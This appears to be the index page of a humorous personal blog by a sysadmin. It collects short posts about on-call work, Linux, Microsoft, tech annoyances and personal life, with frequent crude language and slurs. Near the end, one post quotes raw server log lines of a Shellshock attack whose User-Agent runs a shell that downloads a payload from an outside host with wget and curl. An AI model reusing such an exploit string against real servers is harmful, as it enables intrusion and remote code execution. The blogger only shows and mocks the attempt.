Фитоняшеньки ужинают кефирчиком с помидоркой, что бы быть стройными. Мне вот только непонятно, сколько кефирчика надо… Литр хватит?

I’m so proud of my regex! … and of the fact that it works… xD “^\/tmp\/[a-zA-Z0-9-]{0,8}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,16}$”

Thanx Universe man still exist!!! My coolant has leaked… like a lot, like there was none in the tank! First my co-worker came to the resque and backed me up oncall… cuz I got all dirty checking my car and touching my laptop would not be a great idea if I needed it. Like VERY … Continue reading Man still exist!

Today a man was repeatedly telling me to “go down”. Of course he’s a developer and he’s a frenchie. He simply wanted me to scroll down on the code.   But I didn’t tell him how that phrase sounded to me.  

Stop blaming your self, for other people’s mistakes.

  Sex is proven to be good for cognitive functions. If each time someone said “fuck Microsoft” or “fuck Windows” they got fucked in real life, they would for sure be leading all fields of technology. However, this is not the case, so they still play the propaganda game, where they try to hide how … Continue reading Microsoft <3 Linux

That feeling, when your keyboard is one of the cheapest mechanical ones, but it still does all the custom gaming lighting.  … and no proprietary software is required…  

Why cheapy stuff like $2 kitty earings ships fast & for free, while u r charged fees and have to wait a week for mechanical keyboard shipping? T_T

If only fixing IRL clusterfucks would be as easy as it is to fix servers 😀

Was driving on the 20, it’s summer, I have the roof open. It started raining. Traffic was slower than a grandma. Stopped at an “isle” where I would not bother anyone. At a place where 2 highways merge. I had to close the roof and I would not be near an exit anywhere soon. Some … Continue reading They say woman are more compassionate and nurturing.

Sometimes, when I try to code, I think that I’ve choosen a profession for which I don’t have the brains. Maybe I should’ve been a stripper…

impress (actually competent) people doing basic shit like moving data and using my awk skills waste too much time on shit I consider retarded get proud and jealous at the same time of my co-worker, who developed 2 ansible modules in a day while I was stuck on stupid shit It’s pretty hard to tell if the day … Continue reading What I’ve done today?

Today at WalMart I saw a kid…errr… a teenager/young adult being so happy about his new phone. “It’s big! But big is better, right?! So it’s definitely worth it!” He also said he’s a youtuber (who isn’t those days?) and passed a paper with his channel to the girl working there. (She really had lots … Continue reading Lost forever

Oh, social media! Apparently when someone is visiting your profile over and over again on linked in, LinkedIn sends you a notification saying “Congratulations! You’re the most viewed person in $FuckingJerk’s_Name network.” I don’t care about this persons life and I’m in no contact with him, but apperently he cares about mine and tries to … Continue reading Another stalker

Regardless of how many years I work, there will always be people who take pictures of their monitor instead of screenshotting.

The person who I think he is, does not really exist. It’s all in my head…   He’s not a tortured sould that need my special kind of love. It does not to change his behaviour or motives… nor actions.   He’s morally bankrupt and never appreciated any of the things people (or me) did … Continue reading All of them…

My best friend became a feminazi. The dude I was in love with, still didn’t finish school and still works at the same place. He still plays his guitar and drinks his beer. He didn’t advanced in any aspect of his life. I’m scared to think what would I become if wasn’t forced to change the … Continue reading What if?

On my fist years of being sysadmin, I’ve facepalmed when finding stuff I’ve done previously. Six years later, after getting into the all fancy devops movement thing, nothing changed.     

Is google trying to tell me something?

Still makes me feel this way…

While witnessing mother (50 years old) providing qualified tech support to grandma (80 years old), so confident and professionally sounding. I think she can now have a lvl1 support job… if only she spoke english…

Feeling guilty for leaving early due to lack of energy, while your co-workers suck it up much better than you? Don’t worry, the oncall will catch you up right after you get home…    

  My facebook feed is filled with “information” about how to understand and act with “introverts”. I didn’t knew “introvert” meant “a special snowflake egocentric attention whore”. Judging by facebook and the amount of reposts/likes, that’s exactly what it means to be an introvert.

The look on the face of a network dude, when you point to the big button “create” on his screen, answering his question on how to create a page. Happens to me all the time, first time I’m on the other side. 

I think one tried to help the sysadmin…  

After looking at my make.conf, package.use and gentoo installation overall from 2 years a go…

This explains is why I’m always late…  it’s not my fault!

Pain level of someone who puts a big chunk the internet down. At 9:37AM PST, an authorized S3 team member using an established playbook executed a command which was intended to remove a small number of servers for one of the S3 subsystems that is used by the S3 billing process. Unfortunately, one of the … Continue reading Ouch!

Source: https://youtu.be/dmeSGwVBoao

  Sister threw a tantrum because I was all day home yesterday(working remote due to sickness) and didn’t clean the house. She demands to know my exact work schedule because she thinks I’m having more days off than her thus she can stop cleaning the cat toilet. Her only responsibility. She’s been living at my place … Continue reading Done with this shit.

Getting phone calls from drunk ex-girlfriends is better than getting calls from her drunk ex-militar father.

Who’s the retard that decided to move the “View certificate” feature to “Developer Tools”? Why you make me re-teach my parents how to verify the SSL. It’s not so easy for them. Who’s the asshole that makes it more difficult for older people to avoid scam sites?  I want to look them in the eyes.  

Well… adds are there for people to watch. This one for some reason caught my attention. It was the typical add until….    Oh you poor little girl, I’m so sorry those mean bastards of sysadmins almost fucked up your day by letting their stupid server go down! But I’m so glad you made it through the day even if … Continue reading Sysadmins, the assholes.

So while visiting an Azure training (where I didn’t learn anything new, because everything is just like in Amazon and they didn’t even show the API), I’ve created a new account, because it was required to access the Microsoft’s Azure account temporarily. I was signed in on skype with mother’s account, because had to change something for her … Continue reading Microsoft… derp

I only wanted to shrink a partition and create a new one under Windows… because was updating wow… and didn’t wanted to wait to reboot to Gentoo. Windows – the shit that I have on my PC because even if the people says the battle.net launcher works fine under wine, it never did for me. … Continue reading The world needs it’s retards

I thought I was having a really shitty Monday: Overslept very badly Spent 45 minutes searching for keys When sat down to think where the hell I’ve left them, cat got on my lap and… vomited on my clothing Forgot gloves and it’s freezing outside Then got at the office and got a salary rise for … Continue reading Awesome job is awesome.

Amazon was suggesting me maternity clothes for a while, now baby stuff… All was ignored, but Amazon does not give up, it just takes it’s suggestions to the new level: nerd baby stuff?   No, seriously, why Amazon is trying so hard to make me have babies, never searched for maternity or baby items.

Your boss texts you and tells you to not drive to the office, because the weather is bad.

  I love going to Microsoft events. They make me feel like a good and smart sysadmin (because devops is a philosophy and not a profession). People presenting isn’t challenged. They understand linux ways, cloud, devops and all the fancy things… teaching them like they were their own invention and like they’re the cheapest with the best quality. (Come on … Continue reading Microsoft training

I really wonder if the world is composed of special snowflakes or if rather, I’m a sociopath.

Didn’t you hear that females in video games are over sexualized and that their armor is showing too much? Funny fact: There’s 17 people in my guild(including me) who are currently online in discord 1/14 males have a real picture 2/2 females have their real “cute” pictures 1/2 females are trying to show cleavage.   I’m hesitating … Continue reading Females in videogames

That feeling when you learn the scary fattening nutritional values were written per 3 pieces of chocolate and not 1.    

There’s one that I’ll definitely not be giving to anyone ever. Google play gift card. Annoying as fuck & appearing in each youtube video you play, sticking their theme song deep in your head, to the point of giving you a nervous tic.

There’s no giphy in the world that can express the feeling, when you trusted your co-worker to do your ticket, one that takes 5 min and 4-5 clicks… and he fucks up… …in such manner that the client has downtime each time when he deploys… …and in the manner that backups don’t work… … and … Continue reading You had one job…

Sysadmin froze for 2 minutes trying to figure out what the picture on the left means. Sysadmin figured out & LOL. Sysadmin send picture to programmer. Programmer: I don’t get it. What does the picture on the left mean? Sysadmin: echo  $normal_human_interaction Programmer: GetNormalHumanInteractions(); <- undefined Programmer:  compiler abort        

When had alerts all night and  hear PagerDuty instead of morning alarm…

When I run something as simple as a bad bash script that will fuck up my prod, it just goes segmentation fault before affecting anything… Today I found 2 things in my own shit that mean to run on staging only, but would run on prod because $reasons. I found them before running it. Because weirdass … Continue reading Sysadmin Karma protects me

I had issues waking up and was not motivated to get out of bed. Felt nausea and was irritable as fuck. I felt sick… At 10 my cell sang “the server is on fire”. This explained everything. It’s that time of the month. I’m oncall.  

Recently I’ve noticed that the pictures I take with my cell are available to attach when I send e-mails. I only noticed because of the NUDE SELFIES that google so kindly offers me to send…   Thanx Google! I don’t know how I lived without this feature! Writing personal mails at work was so boring without flashing my … Continue reading Google cares about end user comfort

My boyfriend confessed he likes to go to github, search for “please forgive me” and read other peoples code. 

79.134.218.13 – – [19/Nov/2016:03:27:05 +0000] “GET / HTTP/1.1” 200 5243 “<a href=\”http://forum.windowsfaq.ru/\”>Forum.WindowsFAQ.ru</a>” “<a href=\”http://forum.windowsfaq.ru/\”>Forum.WindowsFAQ.ru</a>”

…because we all are… and the humanity is doomed anyways… My programmer told that his team was searching for a bug for 2 days… and it also was only one line…   We are all retards. I need a drink.

When someone tells you the shortcut on his mac to switch keyboard language

Keep reading “Proxy” instead of “Roxy” when checking out some comics…

Spend 2 and a half days on an issue, fix by 1 line.

There was a Zombie Apocalypsis. Each time a process became zombie, a human would too because all humans are linked to a process and our world is just a server. My team lead was trying to help me to fix the problem. The problem came from my code, which was a tiny part, but still … Continue reading DevOps Nightmares #2

I was fired because my commit messages are “inappropriate” and “not professional”. I’ve spent the whole night texting the team lead begging to not fire me, because this is my most favorite job ever. I was trying to explain him, those commits were made when I was 14, before even I started working, and when I … Continue reading DevOps Nightmares

Things I broke today: – monitor (BIG scratch) – laptop monitor (small scratch) – HDMI cable – Nail Remember boys and girls, cable management is as important as password strength. Now, if excuse me, I have to go get me one of those:  

First time booting from the liveCD, always booted from the mininal-install. It’s actually… pretty!   And penguins can fly, cuz they’re Gentoo 😀   

Social Engineering are big words that mean nothing in today’s retarded world. What’s the point of calling to activate a credit card if all the info they ask for is on the credit card and all questions that a bank asks you on the phone can rightly be answered by “yes”.

  It does not matter that the higher  % homeless people are male. It does not matter than the redhead girl is wearing mascara. It does not matter than average price drug store mascara and a pack of pads are the same price It does not matter that to be fat you have to eat in … Continue reading Vaginas have it worse

… about submission, turn on, cookies… Of course they’re dev’s you perv! 😀

Nov, 2016-11-05 12:21:18 admin 76.69.215.24 Option Nov, 2016-11-05 11:47:57 admin 91.133.94.199 Access Nov, 2016-11-05 11:45:35 admin 76.69.215.24 Access Nov, 2016-11-05 11:45:11 admin 91.133.94.199 Access Nov, 2016-11-05 11:44:57 admin 76.69.215.24 Access Nov, 2016-11-03 18:20:32 root 192.168.2.110 PowerOn Aug, 2016-08-01 15:04:20 admin 93.192.1.114 Option May, 2016-05-21 00:10:47 admin 192.168.2.111 Access May, 2016-05-20 02:43:57 admin 192.168.2.147 Access May, … Continue reading I like to watch

No matter how much you work with it, it will always make you rage.  

Yes, I broke my own rule and bought cheap shoes from a crappy magento site…. thing I never thought I would do. Didn’t receive a confirmation mail, they’re not responding to mails (obviously… cuz their mail server is not working) and now I see they failed to configure varnish… Will fix your server for shoes? … Continue reading The greatest mistake

Some  dude posting on facebook, so romantic, so naive… If I date you, I don’t want your passwords, or your phone. I can get all the info I want about you and you will never know, because I’m a sysadmin. I’ll know where and with who you are, all of your interests, what you want to … Continue reading Dudes…

Inspired of this logo, but saying “paSSwords, I like them strong” 

Call 1-800-DEV-NULL

I want a tank top like this, but it has to say “I get servers UP” 

Hoster contacting ops team telling they can give us a server and a /22. …ops team that has their own cloud providing services to oher customers… Hoster that didn’t bother to even block his wp-admin I feel so bad for them, I want to write a reply “will re-do your website for cheap and install … Continue reading LOL Dude

First I learned that juniper is a berrie. Now that ELK is an actual animal, like a forest cow… The struggle of “imported” sysadmins is real.

After I’ve exited a metal conert, I saw a message on my cell: “Are you at the same concert than I ?”   Like I’m checking my cellphone in the middle of the moshpit… where big buff dudes run in circles and push each other, when the music plays so loud, that you feel all your internal organs … Continue reading Online generation

Oh Social Media… The only place where cute guys add me and insist we meet is LinkedIn.

When you’re trying to  brag about your new outfit in WoW, but you keep misspelling the PING color… This is sad, so here’s a picture for the lolz.

Things that are pushing me towards it: “Ain’t got time for documentation”   Timesheets

The best words of appreciation I got from a boss so far: “you should teach others to follow you’re example and if they don’t, you have my permission to beat them with a stick”

I don’t drive drunk, so had to take a bus from a friend’s place to the parking. Was pretty tired, not hangover, just didn’t slept enough. A guy with a 3DS stood up from his seat, like giving it to someone. I’ve looked around, there was no old, injured or pregnant people, so it was … Continue reading Y U SO SEXIST!!!!!1111

SYSADMINS! Warriors of the console! We have to unite! Torvalds, the father of Linux is being kept hostage by Microsoft! We have to do something before it’s too late! The father of the kernel is in danger. Look what they did to the penguin already!!!   Yes, That's Linus Torvalds chatting with us at the … Continue reading Sysadmin Power!

Recompiling the kernel, is just like Vodka, solves all the issues. My 10 years old wacom tablet now works under Linux. On Windows, I would have to buy a new one… Yes, I’ve tested it under Windows and the most recent drivers for it don’t provide basic functionality such as pressure sensitivity, the old ones, … Continue reading Until death separates us

I understand code, better than comments: # if we have a match, then set lowest to index if lowest is not set or if index is lower than lowest if index != -1 and (not lowest or index < lowest):              lowest = index

Creating a monitor in DataDog creates 2 of them with an identical name. You can’t exceed the limit of alerts that pingdom allows you, but you can enable a paused alert exceeding the limit. It will work perfectly for what you want if you reconfigure it. Amazon console keeps giving me error 0 messages in … Continue reading Bug day

Nixcraft, as usual, shares the wisdom of the internets.  

… and they have put the website down!  xD I blame the hair colour!

…and if not stunning, the monitoring system sends an alert! It’s a honest typo. I wasn’t drunk while typing the message. I promise!

… is one of the reasons I like Linux.

That feeling, when the client asks you to add a new IP because he’s working from a cafe… and you trace him… and see this: Unfortunatelly, Google is an asshole and does not let me to zoom in more, however, it’s a good sign. That dude must bring luck. UDP: Unless it’s an indication that … Continue reading Stalkers are everywhere

Apperently, scanning ports on elasticache node that belongs to your account from a VM that belongs to your account is considered as abuse by AWS. […] We’ve received a report(s) that your EC2 instance(s) Instance Id: i-xxxxxxxx IP Address: x.x.x.x has been implicated in activity which resembles scanning remote hosts on the internet for security vulnerabilities. Activity of this nature … Continue reading I’m an evil hacker! MWA HAHAHA!

So many people using the service, yet I see this almost daily… 

..why I’m getting notifications from a website I’ve never visited. Google is sad.

Next step: suggest to make a page where I put my address, phone number,job location, driver licence,  credit card number and PIN as well as all the other personal info, so my relatives, multimillionaires princes/kings from Africa can find me and give me all their fortune? 

Why… just why you have a different syntax for trigger and re-trigger alerts? [Re-Triggered on {device:/dev/xvda1,host:testing.blabla.internal}] [testing] Disk space low testing.blabla.internal 192.168.15.43 [Triggered on device:/dev/xvda1,host:testing.blabla.internal] [testing] Disk space low testing.blabla.internal192.168.15.43 Of course, humans never make inattention errors, that can pass QA and leak in prod. Fuck my life… with Regex!

Was trolling with some engineers in the US over slack, on how there’s a Readme on how to do the doc and how there should be a doc for the Readme… Some dude: lol. would that make you read them? </troll> Me: well… maybe… but I would have to learn to read… and I’m blonde Some dude: … Continue reading Shut up, you may offend someone on the internetz!

…when you finish GTA V & stay there for the credits, because it’s just like finishing a great book, makes you sad… replaced with RAGE because housekeeping is more important than IT people, so appears in credits first? Really? REALLY?! FUUUUUUUUUUUUUUU!!!!!!!!!!!!!!!!!!1111111111 Ok…  I admit there must be something like alphabetical order… but the DAFUG?.jpeg feeling … Continue reading That feeling

A tuple is a sequence of immutable Python objects. Tuples are sequences, just like lists. The differences between tuples and lists are, the tuples cannot be changed unlike lists and tuples use parentheses, whereas lists use square brackets. Creating a tuple is as simple as putting different comma-separated values. Nail polish, they’re all alike, the … Continue reading It’s way easier that it sounds…

… is way too judgemental about my coding skills.

The things I really need: Sleep A rubber duckie Because spending a couple of hours debugging why a simple comparison of 2 variables (strings) does not work when it should is frustrating, specially, after realizing, those were 2 different strings! It’s normal it did not enter the loop, the script was working properly the whole time, … Continue reading Girls coding…

I must admit Microsoft has some good things. Firt is AD, because managing printers, users, etc on Linux is possible, but not the best, specially in large corporations where there are hundreds of hamsters  users. However, AD is not a product that I must touch daily and be happy about. It’s their keyboards. I got it … Continue reading Microsoft is good

YOU WILL DO WHAT I WANT!

All the sysadmins are guilty of “curl -sSL https://install.stackstorm.com/ | sudo sh -s — -r v1.3.2″ There are no exceptions, all of  us were young & dumb. An ubuntu noob, showing off hiz cool compiz cube saying he’s super hacker, will go follow the first tutorial found google to try to fix a problem. That … Continue reading Spring: The time of the year when allergies kick in.

Seriously, how many times you need to copy paste a “hacking” command in the terminal  before understanding the shit you do does not work? I’m seriously considering donating to a dyslexia charity. It seems to be a big problem among youngest generations… 

The dude speaking was wearing a T-shirt. Where’s the suite? Emphasize they love Open Source and are friends with Red Hat “which is a Linux!” Using all those free tools like git & jenkins, but of course offering Microsoft’s “free” alternative. Free up to X users. Once you grow, you’ll have to give your money to … Continue reading Random observations of another internet troll on a Microsoft DevOps hackaton

I got a reader! Someone has read my blog! He even shared my kitty picture on faceboook!! And it was not a bot because how he click on stuff and try different things… like remote exec… with typos and stuff… I gue$$ hackerz can be dislexyc t00…

How it’s presented: How I feel using their API: But seriously, why giving the option to send custom payloads in the web hooks if all the info I can send is relative to the event, which does not include {{host.ip}}, {{host.name}} and many other parameters that you desperately need (like tags, host tags, not monitor … Continue reading Data Dog

93.190.69.10 – – [27/Apr/2016:09:23:07 -0400] “GET / HTTP/1.1” 200 714 “-” “() { :; }; /bin/sh -c ‘wget http://closettransfer.com/FLUFFYPUPPY -O /dev/null;wget1 http://closettransfer.com/FLUFFYPUPPY -O /dev/null;curl http://closettransfer.com/FLUFFYPUPPY -o /dev/null;/usr/sfwbin/wget http://closettransfer.com/FLUFFYPUPPY;fetch -/dev/null http://closettransfer.com/FLUFFYPUPPY'” 64.74.197.103 – – [27/Apr/2016:10:25:26 -0400] “GET / HTTP/1.1” 200 714 “-” “() { :; }; /bin/sh -c ‘wget http://closettransfer.com/FLUFFYPUPPY -O /dev/null;wget1 http://closettransfer.com/FLUFFYPUPPY -O /dev/null;curl http://closettransfer.com/FLUFFYPUPPY … Continue reading Awwwwww!!! First attack attempt on my server! So cute! ^_^

Is it sign of workaholism when your keyboard is starting to have holes in it?

…is just like trying to prepare a snail for a horse race… Do I really have to use varnish? REALLY? 

Fix the problem < min Search through the documentation for legacy password > 45min

This shit is ugly and I know it. It’s been a while I ran out of fucks to give anyways.